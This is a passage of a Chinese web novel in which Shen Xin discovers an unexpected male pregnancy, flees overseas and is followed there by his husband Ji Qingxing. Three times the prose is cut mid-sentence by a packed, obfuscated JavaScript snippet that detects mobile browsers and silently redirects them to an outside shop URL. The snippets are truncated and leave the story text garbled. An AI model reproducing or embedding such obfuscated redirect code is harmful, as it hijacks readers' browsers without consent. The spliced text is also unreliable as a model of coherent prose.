现在,他只需坐上飞机,再坐车,走一段非常熟悉的道路,打开那扇非常熟悉的门,走进去放下行李,即便闭着眼睛,也能畅通无阻地来到床边躺下。 他对这里太熟了。 他在这里住了五年多。 那是人生中奠定成熟思想,构建独立理想生活的极为重要的五年。 虽然在另一边有他的父亲、叔叔、弟弟、丈夫,有他的原生家庭和婚后家庭,但那些都太陌生了,就像冰冷的符号,远不及这里令他感到安全和温暖。 他不是躲开,不是逃避,不是不敢面对。 只是去想去的地方,过想要的生活。 几个月来起起伏伏的精神世界终于平稳落地,得到了最合适的安放。 重新恢复了曾经的一切,他还在母校报了一门非全日制培训课程。 与本专业相去甚远,可以让生活更充实,还可以增添新鲜感。 他动力满满,然而好日子才过了没几天就开始不舒服,常常胸闷想吐没力气,写稿的时候也首次感受到了传说中的腰酸。 出现职业病了? 迅速买了张更好的人体工学椅,重新调整了升降桌和显示器的高度,可是几无效果。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507508|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这天早上,他的症状加重,终于实打实地吐了出来,吐完却没轻松,反而更加头晕无力。 他身体一向很好,基本没什么生病的记忆,自治方面是个小白,手头常备的也只有普通退烧药和创可贴,他不得不去医院。 出门前,他在连载文的公告区发了请假条。 上学的时候,身边的留学生生病了一般都是去附近一家由华人经营的私人医院,沈昕便也联系那里。 勉强撑着身体赶过去,跟医生说明情况的时候,他特意补充道:“我不是才来这边,之前已经在这里五六年了,应该不是水土不服或者倒时差的问题。” 医生当没听见,直接问:“你是显性古代白虎体质?” 沈昕一愣,点了点头:“嗯。” “我看你的信息是已婚,上次性生活是什么时候?” 沈昕:…… 他猛然意识到了什么。 接着瞬间紧张,心怦怦怦怦地跳了起来。 “医生,你的意思是……上、上一次是……11月1日。”他的声音低下去,脸也烧红了。 “一个多月了啊。”医生说,“怀疑早孕,先做检查吧。” 话音落,沈昕的身体绷紧了,一股强烈的悔意涌上心头。 那天为什么要和纪轻行发生关系?! 就算发生关系,为什么不做措施?! 为什么一时冲动?! 他心乱如麻,外表则像个提线木偶,跟着护士去做各项检查。 医院的环境和检查器械给人以冰冷感,置身其中,他狂乱的心渐渐冷却,再想一想,其实从小到大,他一直没有太在意自己的体质,没有深刻体察过其中真正的意义,仿佛那是别人的身体、别人的事情,仅仅是知道、了解罢了。 就算和纪轻行结了婚,因为多数时候都貌合神离,他也不曾正式考虑过这些。 所以直至现在,当这件事也许真地降临在他头上了,又偏挑了这样的时刻,他才第一次明白这究竟意味着什么。 至少在中古时代前期,超过半数的男性都具备生育能力,以生育能力成熟的早晚和强弱,分为白虎、朱雀、神龙、玄武四种体质。 随着时间流逝,只有生育能力最强的白虎体质延续到了现代,而现代男性中,继承这种体质的人大约占总数的20%。 他就是那个少数。 他是可以生孩子的。 会有一个继承了他与另一人血脉的全新生命,在他肚子里产生、孕育,呱呱坠地、渐渐成长。 他是父亲。 而且是个亲自孕育的父亲。 他的身体会发生巨大的变化,情绪也会,生活也会。 他要承受诸多不适和难以想象的剧痛,他会无所适从,或许无法自理,甚至可能牺牲生命。 为了另一个生命。 和另一个人。 他终于明白了。 所以也是第一次,他因为自己的少数体质,因为那个尚不确定但很可能成真的结果慌了、怕了。 怕得双手发抖唇齿打战。 时间一分一秒过去,距离检查结果出来越来越近。 他想要好的结果,又怕坏的。 他想一走了之,可又能逃到何时何地? 他坐立不安,最后拿出手机,打开阅读软件的私聊板,在纪轻行老早之前发的[沉老师,请问您有没有特别讨厌的人或事]这句话底下回复了四个字—— “我讨厌你。” 28.纪轻行炸了 纪轻行坐在办公室里沉思。 刚才副总跟他汇报了,前几天,沉心的编辑放弃了谈判,说跟沉心商量了,同意终止合作,现在手续走完,着力打造的项目尚未正式推出就先宣告了结束。 副总言语之间充满遗憾。 此前也跟他认真分析、据理力争过。 副总不理解他的决定,他又何尝不是? 他已经被沈昕牵着跑了,毫无缘由、心甘情愿。 副总还说,昨天沉心挂了请假条,说生病了,不知道是不是受了终止合作的影响。 现在,纪轻行的心情很不好。 曾经沈昕问他,这么做舍不舍得,难不难过,老实说,他当然舍不得当然难过。 于私,沉心绝不仅仅是个喜欢的作者崇拜的男神,而是知己一般的存在;于公,他舍弃具有巨大潜力的项目,失信于合作伙伴,在下属面前反复无常,实在不是身为一把手该做的。 可他没有办法。 老婆快跑了,家快散了,事有轻重缓急,他哪里还顾得上别的? 他只觉得自己无能。 为什么想不到一个从中平衡、两全其美的办法? 为什么不在结婚的最初就跟沈昕说清楚这些,从而避免后来的误会呢? 纪轻行烦躁地来回踱步。 他以前不说,是因为觉得没有必要,没有契机,何况一开始跟沈昕也不熟。 而现在不试图两全,是因为…… 不敢冒险。 生怕有一丁点儿做得不够对不够绝,好不容易才有一些拽住的沈昕就又丢了。 凡此种种证明,他的确很喜欢沈昕,可为什么沈昕问他的时候,他却说不出来喜欢什么? 不光是那时候说不出来。 最近他想了,依旧说不出来。 纪轻行深深叹息。 拿起手机,犹豫、纠结、动摇,最后,在“就这一次”的诱惑下,重新下载了阅读软件。 打开沉心正在连载的小说,果然,昨天挂了请假条,直到现在三十多个小时了,一直没更新。 读者都在表达关心,沉心没有回复。 往下翻看,不久前大家还说到了自己的消失,好话坏话都有,沉心那时候一定也很不开心吧。 自己的订阅停在了十天前,评论停在一个多月前,打赏停得更久,已经从榜一掉了下来。 过去这么多年,他从没把这个位置让给过别人。 瞬息万变啊。 再打开私人聊天板,纪轻行一愣。 ”我讨厌你”? 往上看,差点儿忘了他曾经问过那样一句话。 这么长时间沉心一直没回,也许是没注意。 可昨天突然回“我讨厌你”是什么意思?昨天他不是生病了吗? 难道是因为自己突然消失,不订阅不评论不打赏而生气? 沉心不是这种人啊。 纪轻行百思不得其解,又被这四个字弄得很愧疚,点开输入框,敲了一句[老师对不起,我有苦衷],想点发送,却下不去手。 他不能对沈昕说一套做一套。 闭了闭眼,把那句话删掉,退出聊天板,自动来到小说页面。 目录显示,没看的新章足有五万多字。后来发生了什么?跟他预想的一样吗?还是说沉心有更好的、更令人拍案叫绝的处理? 不敢想象他现在看了会有多幸福,他很可能会躺在地上打滚! 可是…… 要是看了,就算瞒着沈昕,也等于背叛了沈昕。 他是沈昕的丈夫。 理应呵护他、照顾他,给予他幸福,替他承受痛苦。 他要为他承受痛苦。 哪怕是一辈子也不能再看那些触动灵魂的文字。 默默下定决心,纪轻行非常坚定地删除了账号。 最后一次。 绝对是。 接着打开沈昕的微信聊天界面。 最近沈昕对他总是爱答不理,他发信息,对面往往过好几个小时才回,而且基本不超过三个字。 有心想多说几句,或者直接去他住的地方,又怕追得太紧,他烦。 自己更烦。 追人实在没经验,这辈子连乙方都没做过,想当舔狗都不知道该怎么舔,毕竟沈昕心思细腻,一旦舔错就完蛋了。 这时沈知易打来了电话—— 大约是因为梁瑛出了事,两人现在都没了心气儿,前阵子告诉他愿意接受他所有的注资条件。 他霸道归霸道,却也不是不懂礼尚往来的道理,对方肯低头,他就主动把一些条款放宽,重做了合同。 电话里沈知易说:“小纪啊,合同我们看了,没有问题。你看什么时候约一面,咱们把字签了?” 正苦恼的纪轻行计上心来。 “您现在在哪儿?” “在家,锦安这边,想着最近要跟你签合同,住这边近一点。” “这会儿方便吗?可以的话我过去,自己人,在家里签就行,我也看望看望您和梁叔。” 沈知易顿了一瞬,像是完全没想到,紧接着说:“可以啊,当然可以!你随时来,我们欢迎,非常欢迎!” 成功。 纪轻行当然不是为了看望沈知易和梁瑛,签合同也是其次,不过是为了沈昕。 到底是晚辈登门,他让助理迅速准备了简单而不失体面的礼品,两个小时后到了沈知易家,突然感到庆幸,因为这里是沈昕童年和少年时居住的地方,是对沈昕来说充满了回忆,非常重要的地方。 是他应该来、必须来、必须了解的地方。 已是傍晚,沈知易热情地问:“小纪还没吃晚饭吧?喜欢吃什么,让阿姨给你做,咱们家里的阿姨厨艺特别好!” “不着急,先签合同,把大事一了,咱们心里都轻松了,然后再该吃吃该喝喝。” “行,好,没问题!”沈知易巴不得,就在客厅,和梁瑛一起再次确认了几项最重要的条款。 下笔之时,纪轻行又问:“梁叔叔没意见?” “嗯。”梁瑛点了点头。 他的表情一向不多,如今看上去更是精神不济,一副什么都不想再管的样子。 先前在医院,纪轻行私下向医生了解过,原来梁瑛怀二胎期间本就不顺利,五个月前一直在保胎,过了五个月好不容易比较稳了,没想到又…… “孕早期我曾建议他们放弃,他们不肯,坚持保胎。” “所以这次意外从根本上说也不算意外。” “孕夫和胎儿的条件都不好,否则不至于到必须引产的地步。” 当时医生这样说。 纪轻行觉得,把这些告诉沈昕,他的心情应该会好一些。 虽然与他无关,但人终究不是冷血动物。 反过来说,沈知易和梁瑛明明什么都知道,却依然要把所有情绪倾泻在沈昕身上。 固然理解陡然失去孩子的心情,但为什么那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534173|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个发泄的对象一定要是沈昕呢? 且不说梁瑛,至少沈昕也是沈知易的孩子啊。 以前,纪轻行只是心疼。 但如今坐在这栋房子里,看着沈知易、梁瑛、童童一家三口,想着那个被甜言蜜语驱离开的人,他自己也感到了痛。 这亦是他要帮沈昕分担的痛。 签完合同,童童在一旁转悠,像是准备了许久。 “大哥哥,你是一个人来的吗?” 小孩子再拐弯抹角也还是直白,纪轻行心说这话递得好,笑着答道:“是啊,你哥哥没跟我一起来。怎么,想你哥哥了?” 童童看了看沈知易和梁瑛,小声说:“我就问问。” 纪轻行说:“那咱们给哥哥打个电话,把哥哥喊来一起吃饭好不好?”看向沈知易,“事情都过去了,一家人总不能不见面。” 沈知易点点头:“是,上次我一时激动,把昕昕……我、我也后悔。”说着安抚地拍了拍梁瑛的手。 梁瑛没说话,只是喉头滚动了一下。 纪轻行便对童童道:“去拿你的手机给哥哥打吧。” 对沈昕来说是个陌生号,应该会接。 “好!”童童开心地跑上楼,很快“咚咚咚”地跑下来。 把手机放在茶几上,打开外放,纪轻行拨号,嘟嘟声响,童童双手撑着茶几,一脸期待。 纪轻行也满心期待,心跳仿佛都变快了。 可惜…… 无人接听。 一大一小被泼了盆冷水。 童童眨巴着眼睛看纪轻行,纪轻行说:“再打一遍。” “哦。” 再打一遍,再次接通,依旧响了很久。 两人屏住呼吸。 眼看着又将自动挂断时,终于出现了不一样的电流声,沈昕接了。 两人明显都松了口气,眼睛里也冒出了笑意。 纪轻行示意你说。 童童不好意思,使劲儿摇头。 那边沈昕已经在“喂”,声音朦胧,第二次“喂”的时候还带着烦躁,颇有“再不说话我挂了”的架势。 沈知易便当仁不让道:“昕昕,我是爸爸。” 电话里的沈昕顿时不说话了。 一时万籁俱寂,大家都有点儿尴尬,沈知易想了想,硬着头皮说:“你在睡觉?我听你的声音……” 沈昕“嗯”了一声。 童童回头看墙上的挂钟,晚上快7点。 他满脑袋都是问号。 沈知易又想了想,继续说:“这会儿还在睡觉啊,没吃饭呢吧?过来家里吃饭,小纪也在呢,我们刚把合同签了。你……让小纪去接你吧?阿姨现在开工,你过来正好赶上吃。” 纪轻行心说不错,非常上道。 他跃跃欲试,等着沈昕一答应就出门,同时在心里想如果沈昕不答应该怎么劝。 不料却听沈昕说:“你们吃吧,我去不了。我回学校了,以后没有大事不用给我打电话。” 接着戛然而止,电话挂了。 再接着,众人面面相觑。 渐渐的,纪轻行的眼里染上了惊恐的神色,也顾不得面子了。 “他说回学校?什么意思?哪个学校?他不是已经毕业了吗?” 沈知易也一脸意外,半天不知道怎么回答。 直到梁瑛淡淡地说:“他回香国了。” “唰”地一下,浑身的血液瞬间一气儿冲到脑顶,纪轻行炸了。 29.舍不得 沈知易也没想到会这样,顿时瞠目结舌,童童更是茫然,来回看大人。 唯有梁瑛波澜不惊地说:“昕昕气性太大了,咱们也没真把他怎么样,他就……” 纪轻行当即甩了个眼神过来,梁瑛便住了口。 这话梁瑛固然不该说,但有一说一,纪轻行自己也想不通。 沈昕说受不了虚假的婚姻,好,他把婚姻和生意分开; 沈昕说受不了他心里有别人,其实哪儿有啊!但是行,你觉得有就有,他当机立断跟沉心切割,不管应不应该,不管合不合理,不顾任何后果。 他做的难道还不够?沈昕还有什么不满? 离家出走还不算,现在还要出国?! 而且看这架势,似乎是要斩断所有联系,不回来了。 神经病啊! 但他…… 就是喜欢了这个神经病,除了忍着顺着,还能怎么着呢? 纪轻行又气又憋屈,对沈知易说:“把他在香国的地址给我。” 沈知易突然尴尬,看向梁瑛,梁瑛别开视线。 纪轻行懂了。 更是匪夷所思。 “他在国外五年多,不可能没跟你们说过住址吧?” 沈知易狡辩道:“那么长时间,不知道他换没换过地方,尤其这次回去,大概率是要换的。” “管他换不换呢,先把说过的给我,忘记了就找一找。” 沈知易的脸色更难看:“他刚去的时候手机上发过一次,那个旧手机我记得好像扔了。”又看梁瑛,“我当时不是叫你把昕昕的地址记下来吗?” 梁瑛低声反驳:“你哪有。” 纪轻行:…… 这要是让沈昕听见,不知道他已经冰冷的心还会不会更冷。 沈知易想了想:“他住的地方应该就在学校附近,他的学校……对了,他这次回来给我看了学位证,应该就在卧室。” 说着向楼梯走去。 纪轻行快步跟上。 进了沈昕的卧室,纪轻行也顾不得参观,和沈知易一起翻箱倒柜。 好在是才拿回来的东西,不难找,只是纪轻行一看就愣了。 “比较文学?昕昕跟我说他读的是学前教育,怎么这上面写的是比较文学?” 问完就意识到是白问。 这个爹连儿子住哪儿上什么学校都不知道,怎么可能知道具体专业。 果然沈知易非常状况外地“啊”了一声:“他这么说的?那是不是……他多选了专业?但这里只有这一张证书……” 纪轻行懒得再说。 沈知易苦着脸唉声叹气了一会儿,抱怨道:“小纪,现在怎么办?昕昕他这是……嗐,这孩子一天天的也不知道在想些什么。你和我在公司忙得焦头烂额,他呢,没事是没事,一有事就是添乱,咱们不管他吧显得不应该,可管该怎么管?谁有空跑去香国管他?哎,整天守着他那点儿小爱好,守得整个人都不对劲了,我当时就说那样不行,是你梁叔叔劝我,说他爱干什么就让他干……” 纪轻行奇怪道:“什么小爱好?” “他没跟你说?他结婚以后不写了吗?”沈知易也很奇怪,“按理说写写文章是挺好的爱好,但是钻了牛角尖就……” 纪轻行一听,第二次热血上头要炸:“写文章?写什么文章?!” 沈知易一愣,没想到纪轻行反应这么大:“我也不知道写什么文章,他不愿意说,我只知道他在写,写了好几年了。” 纪轻行的心哐哐哐,感觉就快从嗓子眼里蹦出来了:“那钻牛角尖是什么意思?” “哦,很多人能靠写文章赚大钱嘛,但是他就……也是你梁叔叔跟我说的,他想写,咱们就养着他,非不让他写,让他出来工作,他心里肯定不好受,反而以为咱们是觉得他不赚钱,其实咱们这样的家庭,哪里需要孩子去赚钱呢?我觉得也对,就一直放任,现在看来还是不行,昕昕变得太怪了,整个儿跟社会脱节了似的。” 纪轻行没说话。 其实他有很多话可以反驳,甚至是批评、指责,但事有轻重缓急,现在最重要的是找人。 便说后面的事都交给他,又说想在这里坐一坐。 有人承担,沈知易巴不得,临走时还说:“其实仔细一想,昕昕估计就是过去散散心,他在那边住习惯了,没什么,你也不用太担心,说不定过几天他自己就回来了。” 纪轻行:………… 得亏是沈昕。 这要是自己的爹,自己早跟他大战二百回合了。 沈知易走了以后,纪轻行把屋子里翻乱的东西收拾好,仔细看起来。 长久没人住,这里没有日常起居会用到的东西。床上光秃秃,衣柜里只挂了两套衣服,估计是沈昕这次回来留下的,唯独另一侧的书柜里放满了书。 文学、历史、社会学,教材、教辅……各种类型都有,不算太深,应该是沈昕上大学前看的书。 书柜不大,看来是专门为了躺在床上看才放在这里的。 除此之外还有正经书房,说明沈昕很爱看书。 可他为什么跟自己说他只看手机新闻和时尚杂志? 沈知易还说他写了好几年的文章…… 突然,纪轻行想起那个机械键盘,恍然大悟。 可他为什么也不跟自己说? 专业的事也要骗自己。 难道…… 他觉得他明明是文学专业出身,却名不见经传,要靠家里养着才能写作,不好意思说? 难不成,他对沉心的抵触,不仅仅是因为自己喜欢他,还因为……嫉妒? 也不是真的嫉妒,而是一种永远无法望行业大佬项背的……自卑、遗憾? 而且,或许,他本来对沉心没那么抵触,因为自己喜欢,他的抵触便加强了。 总之,种种原因纠缠影响,导致了后来的这一切。 还有家里的事,婚姻的事。 逃去国外似乎也不是不能理解了。 纪轻行深深地吸了口气。 哎,麻烦,真想撂挑子不干。 可是…… 舍不得。 真的舍不得。 超越了一切的舍不得。 令他即便麻烦、辛苦、难以预计结果,也一定要去办一办。 - 香国。 沈昕坐在床上。 这里是清晨,天还没大亮。 他知道家里或纪轻行迟早会打来电话,他没想瞒他们,这事儿瞒不了,然而此一时彼一时,刚才听到他们都在一起,生意的事解决了,似乎什么都解决了,他们皆大欢喜,要吃大餐庆祝,他的心情就非常不好。 是啊,别人的问题解决了,可他自己的问题呢? 怎么解决? 谁来解决? 没有人帮他,不会有人帮他,就算有人…… 也帮不了他。 “胎儿已经六周了,目前状况良好。我看你是已婚,这个孩子是考虑要的吧?” “要的话就安排建档,以后按时产检。” “如果不打算要就及时约手术,不要拖,越拖越麻烦。” “你考虑一下吧,建议下次和丈夫一块儿过来,怀孕生产养孩子绝不是一个人的事。” 昨天,医生这样跟他说。 他不知道最后是怎么从医院回的家。 很奇怪,得到答案的那一刻,身上的难受一下子全没了,但精神的压力骤然来袭,像一座巨大且沉重的黑山悬在头顶,时刻提醒他、压制他,让他动弹不得,喘息不得。 直到现在,他说不出要,也说不出不要。 他一向还算是个清楚利落的人,这回却完全无所适从。 他在逃避,在抑郁。 他深深地感觉到自己的状态非常不对,唯一还能专注去做的事就是写作。 只有写作能让他不胡思乱想。 所以他不停地写,只要这一刻还没睡着那就写,饿了就啃面包,几天下来,作息彻底乱掉。 有时候他会祈盼自己也像梁瑛一样,直接出个意外把孩子摔掉,一了百了,但同时又陷入自责:他为什么会变得这么幼稚,这么不负责,这么……狠毒? 沉浸在巨大的情绪旋涡里,身体也迎来反噬,除了胸闷呕吐无力等孕早期症状,头疼、耳鸣也找上了他,脑袋里面仿佛有根扯到极限的弦,什么时候弦一断,他就跟着完了。 家人没再找他,唯一有联系的是阿圆。 他甚至连阿圆都不想理,靠着成年人仅剩的一点体面接了电话,把手机放在桌上,好像碰一下都觉得烦躁。 阿圆跟他商量线上声播活动的时间。 他心里非常愧疚,但也只能说:“对不起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558903|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这件事往后延一延吧。” 阿圆立刻发现了不对:“沉老师,你怎么了?” “最近状态不太好。” “状态不好?”阿圆不可置信,“我觉得你状态简直超好,你在疯狂更新啊!” “这是两码事。”沈昕顿了顿,“最近的更新你看了吗?” “还没有,事情太多了,你又更得那么快,我看的速度根本赶不上你写的速度。” 沈昕淡淡道:“等你看了就知道了。” “什么意思?写得不好吗?你应该不会允许发出来自己都不满意的东西吧。” “嗯,不是好不好的问题,是……跟以前不太一样,我完全被情绪牵着写了。” 阿圆不说话了。 阿圆是他的编辑,这些年来,他们也常常讨论他写的书,但跟与纪轻行的讨论不同,他们并非着眼于人物、故事、主题,而是更关注方法与市场。 阿圆很早之前就建议他在写作中平衡感性与理性,说像他这样的作者,一旦被感性吞噬,长久下去很危险。 “沉老师,你到底怎么了?”阿圆的语气认真起来,“你出国那天还自信满满,是后来又发生了什么事吗?你可以不必告诉我,但无论是什么事,我想,只要还没结束,就一定存在转机,我们不要预设灾难。” 沈昕静静地听着。 “这种时候,不断行动、不断做事是好的,但不宜过度。相比被情绪带着疯狂写,你不如试试少写一些,然后精雕细琢,或者修改修改以前的书,让思维和行动慢下来。” 沈昕仍然没说话。 阿圆便自嘲地“哎”了一声:“可能你们作者会觉得我们编辑的建议过于理性甚至功利吧,远远不如和你的狗针对作品本身进行的灵魂碰撞。” “哪有!”沈昕连忙说,“我从没有这种想法,我觉得你的建议都非常好,‘沉老师的狗’只是从另一个角度。不过说这些也……没意义了,毕竟他已经不再看了。” “原平台跟我关系好的同事说,他连号都注销了。”阿圆的声音低下去。 以打赏额来算,纪轻行不仅是沈昕的榜一大哥,更是平台的大用户,平台关注他的账号动态实属正常。 没想到,他竟然决绝到了这个地步。 阿圆本想问沈昕状态不好是不是跟这件事有关,毕竟曾经提起“沉老师的狗”时,沈昕发自内心地感到快乐,那快乐与金钱无关,而是源于更深刻的价值。 可是突然一下子,那些价值全没了。 而且在旁人看来是一下子,但沈昕跟“沉老师的狗”私联过,或许他们之间发生过更多事呢? 或许那些旁人不知道的事才是导致沈昕如此的真正原因。 阿圆决定不再问。 转而说:“实在调整不过来,最后的办法就是出去走走,从自然中汲取能量和养分。这听起来玄,但真的有用,我心情不好的时候就这样,你也试试看。对了,你们那边下雪了是吧,出去看看雪景嘛。” 沈昕愣道:“你怎么知道这里下雪了?” 转头看向拉得严严实实的厚窗帘,他自己都不知道呢。 阿圆笑道:“为了方便联系你,我在时钟软件上加了你那边的时间,自带天气。” “哦。”沈昕恍然大悟,“麻烦你了。” “工作嘛,不麻烦,过去那么多年也都是这样。”阿圆鼓励道,“出去拍点儿照片发给我看呗,说不定回来就能约声播的时间了。” “好,我尽量。” “不用太努力啊。”阿圆说。 “嗯,知道了。” 挂了电话,沈昕的心情缓解了一些。 撑着桌面站起来,走去窗边拉开窗帘,果然,外面下雪了。 柳絮纷飞,梨花轻舞,如今地上和房顶尚未积住,但再过一会儿,至多过一夜,就会变成乱琼碎玉的琉璃世界。 打开窗户,凉爽洁净的空气扑面而来,剥蚀着他连日来的沉重浑浊。 他确实有点儿想出去了。 迅速洗澡换衣服,坐电梯下楼的时候居然想刷朋友圈,可见活人气稍稍回来了。 打开一看,好巧不巧,最上面一条就是纪轻行的。 是一张图。 雪景,飘着雪花的天空。 沈昕一愣。 锦安也下雪了? 怎么刚才阿圆没说呢。 30.“长跑健将” 沈昕戴上卫衣兜帽,走上覆了一层薄雪的人行道。 这里远离城市中心,非常静谧,附近多是学校和艺术馆,更添文化气息。 圣诞节快到了,白雪挥洒,路边随处可见松柏,树上和临街的商铺点缀着色彩鲜艳的饰品,铃铛、星星、糖果,充满了梦幻童趣。 沈昕进了家咖啡店,脱掉薄羽绒外套,坐在窗边翻看菜单。 他一向爱喝冷萃,但今天为了应景,也为了刻意让自己感受新鲜,他点了摩卡。 想尝点儿甜。 工作日的午后,咖啡店里客人很少,窗外行人亦是三三两两。 漂亮的马克瓷杯盛着浓稠的摩卡,咖啡师做了拉花,是艺术体的Happy字样。 是近来的他最需要的字样。 绵密的糖浆在口中融化,沈昕凝视着窗外的雪花,看着它们一点点变大,一点点变急,看着屋檐和路面一点点失去原本的色彩。 他想,等雪停了,就去…… 做流产吧。 这些天来,脑海里第一次有了一个明晰的答案。 接着不由自主地想起纪轻行。 那个臭不要脸的流氓,如果现在出现,他一定要狠狠地…… 突然余光里人影缓缓一晃,沈昕一愣,有点紧张地转头。 此时此刻,背对他站在吧台前,穿着驼色大衣灰色裤子,高瘦挺拔,肩宽腰窄的那个人不正是…… 纪轻行吗?! 他怎么会在这儿? 是不是认错了? 对,他不应该在这里。 他不可能跨国来找自己,就算他想,也没有时间。 他管着整个世纪集团,忙起来饭都顾不上吃,何况出国。 一定是认错了。 可是、可是…… 也不会还有一个人竟然能跟纪轻行像到没有任何差别。 他们同床共枕几个月,连有孩子的事都做了,他当然只要一眼就能确定。 所以,其实没有认错。 这就是纪轻行,他来找自己了。 他越过摆在面前的一切限制,穿过高空,越过上万公里的陆地、山峰与重洋,来…… 找自己了。 所以,那张发在朋友圈的雪景,其实就是…… 沈昕的心猛烈地跳动起来,浑身冒了汗,指尖微微发颤。 就在这时,纪轻行接过店员递来的外带纸杯,转身,面向门口的方向。 他只是来买一杯咖啡,并没有打算坐下。 想到这里,沈昕莫名地感到惊惶,手指不由地攥紧。 或许是这惊惶来得既突然又强烈,无形中牵引了纪轻行。 纪轻行停下脚步侧头看来,顿时瞳孔收缩,视线凝滞。 沈昕的惊惶陡然变为燥热,喉头一紧,他再也顾不得什么,本能地站起来跑向门口。 纪轻行回过神来,立刻去追。 店门口的风铃哗啦啦连响数声,金发碧眼的店员看过去,又看了看沈昕之前坐的位置,笑了起来。 - “昕昕!” 身后喊声和脚步声不断,沈昕跑在前面,只觉得冷风狂灌,头上脸上迅速变湿,这才意识到逃得太急,忘了拿外套。 纪轻行马上就追到了,他不能回去。 可他为什么要跑?他在害怕什么? 这么一动摇便没了力气,他停下脚步躬身大口呼吸。 下一刻纪轻行就到了,做的第一件事,居然是脱下大衣给他披上,居然还特意把卫衣兜帽翻出来理好,又解下围巾替他擦头发。 “跑什么啊,从咱家跑去另一个小区也就罢了,不声不响地跑来香国我是真没想到,更没想到来了香国还要跑……你当我是长跑健将啊?嗐,你早说嘛,早说了我也好提前练一练。” 说话还是那样不着调。 语气却又温柔又无奈,充盈着感慨与缱绻不散的……疼惜。 身上的大衣沉而暖,带着熟悉的体温与香水味,头顶的围巾轻而软,长而有力的指节隔着围巾,不轻不重地撸他的头发。 沈昕酸涩交加,心轰地炸开。 他告诉自己不要哭不能哭,他在纪轻行面前已经哭过两次……不,算上生理性眼泪是三次了,绝不能再哭,否则还要不要脸? 而且明明都是因为纪轻行,怎么现在他反而一副轻飘飘的样子? 他还什么都不知道。 就算知道了也没用。 他就是这样无论何时都吊儿郎当,令人不爽,非常不爽…… 沈昕吸了口气,使劲儿把纪轻行一推,一下之后又是一下,纪轻行猝不及防,连连后退。 沈昕愤愤道:“我讨厌你,你别过来……我讨厌你!” 纪轻行:? 怎么又是这四个字?这四个字就这么朗朗上口吗? 他手上还拿着咖啡,这时便举高,说:“别别别,小心洒了烫着你!” 不紧不慢,云淡风轻,不当回事。 沈昕更加气不打一处来,转身要走,纪轻行却攥住他的手腕,整个人迎上去,说:“讨厌我?那给你打,消消气。” 低头把脸凑过去。 沈昕咬着牙,捏了捏拳头,摊开手掌拍了上去。 其实没太用力,但不知道为什么,发出了非常清脆响亮的一声。 引得行人纷纷看过来,香国人性格外放,有的瞪眼张嘴发出惊呼,有的看懂了,露出心知肚明的微笑,还有人吹起了口哨。 沈昕:…… 纪轻行松了口气,温声问:“开心了?” 沈昕别开视线,闷闷地说:“哪有这么容易。” 纪轻行便又凑过脸去:“那再来,狠一点儿,多来几下,就算左右开弓,打烂了也没关系,反正我可以不要脸,反正你老公我一旦破相,带出去也是你没面子。” 沈昕:………… 他平复了情绪,抬起头说:“不要胡乱自称,我要跟你离婚。” 纪轻行很明显地梗了一下,闭了闭眼,又笑道:“至少现在还没离。” 沈昕懒得理他。 纪轻行把咖啡递过去,说:“冷吧?你睫毛都湿了,喝点儿暖和暖和。” 沈昕不动,当没听见。 纪轻行无奈地四处看看,又说:“回去拿你的衣服吧?哎,你说你怎么回事啊,见我跟见了鬼似的。” 沈昕瞥了他一眼。 没有直视他的眼睛,就只迅速看了上半身到鼻尖的位置。 他把大衣给了自己,围巾也湿了,上身只剩衬衫。今天的温度逼近零下,他呼出的白气十分明显,腮边和鼻尖泛红,握着咖啡杯的手指也是。 沈昕抬手要脱外套,纪轻行按住了他。 “走吧,回去。你可以跟我过不去,但别跟衣裳和天气过不去啊。” 回到咖啡厅,沈昕的羽绒服还在原位,摩卡也在,店员笑着对他们点头,明显知道他们会回来。 纪轻行拿起羽绒服,很自然地抱在怀里坐下,抬头看着沈昕。 沈昕站着看他。 折腾过后,良久而仔细的对视,纪轻行眉头蹙起:“怎么搞的,瘦了这么多?你不是在这里住惯了么,为什么看起来这么狼狈,生病了?” 沈昕的心再次复杂。 他的喉头滚动了一下,说:“没生病。” “那……” “作息不太好。” “为什么?” “心情不好。” 纪轻行一怔:“因为……我吗?” 沈昕也一怔,可不想承认,便道:“你省省吧。” 纪轻行不置可否,片刻后说:“我们聊聊。不想在这儿聊就换个地方,去我那里怎么样?” “你那里是哪里?” “酒店,不然还能是哪里?我家在这边倒是有生意也有房子,但是位置太远,我没过去住。” 沈昕想了一会儿,鼓了鼓腮帮子,终究坐下了。 一时无话,便没话找话:“你来干什么?” 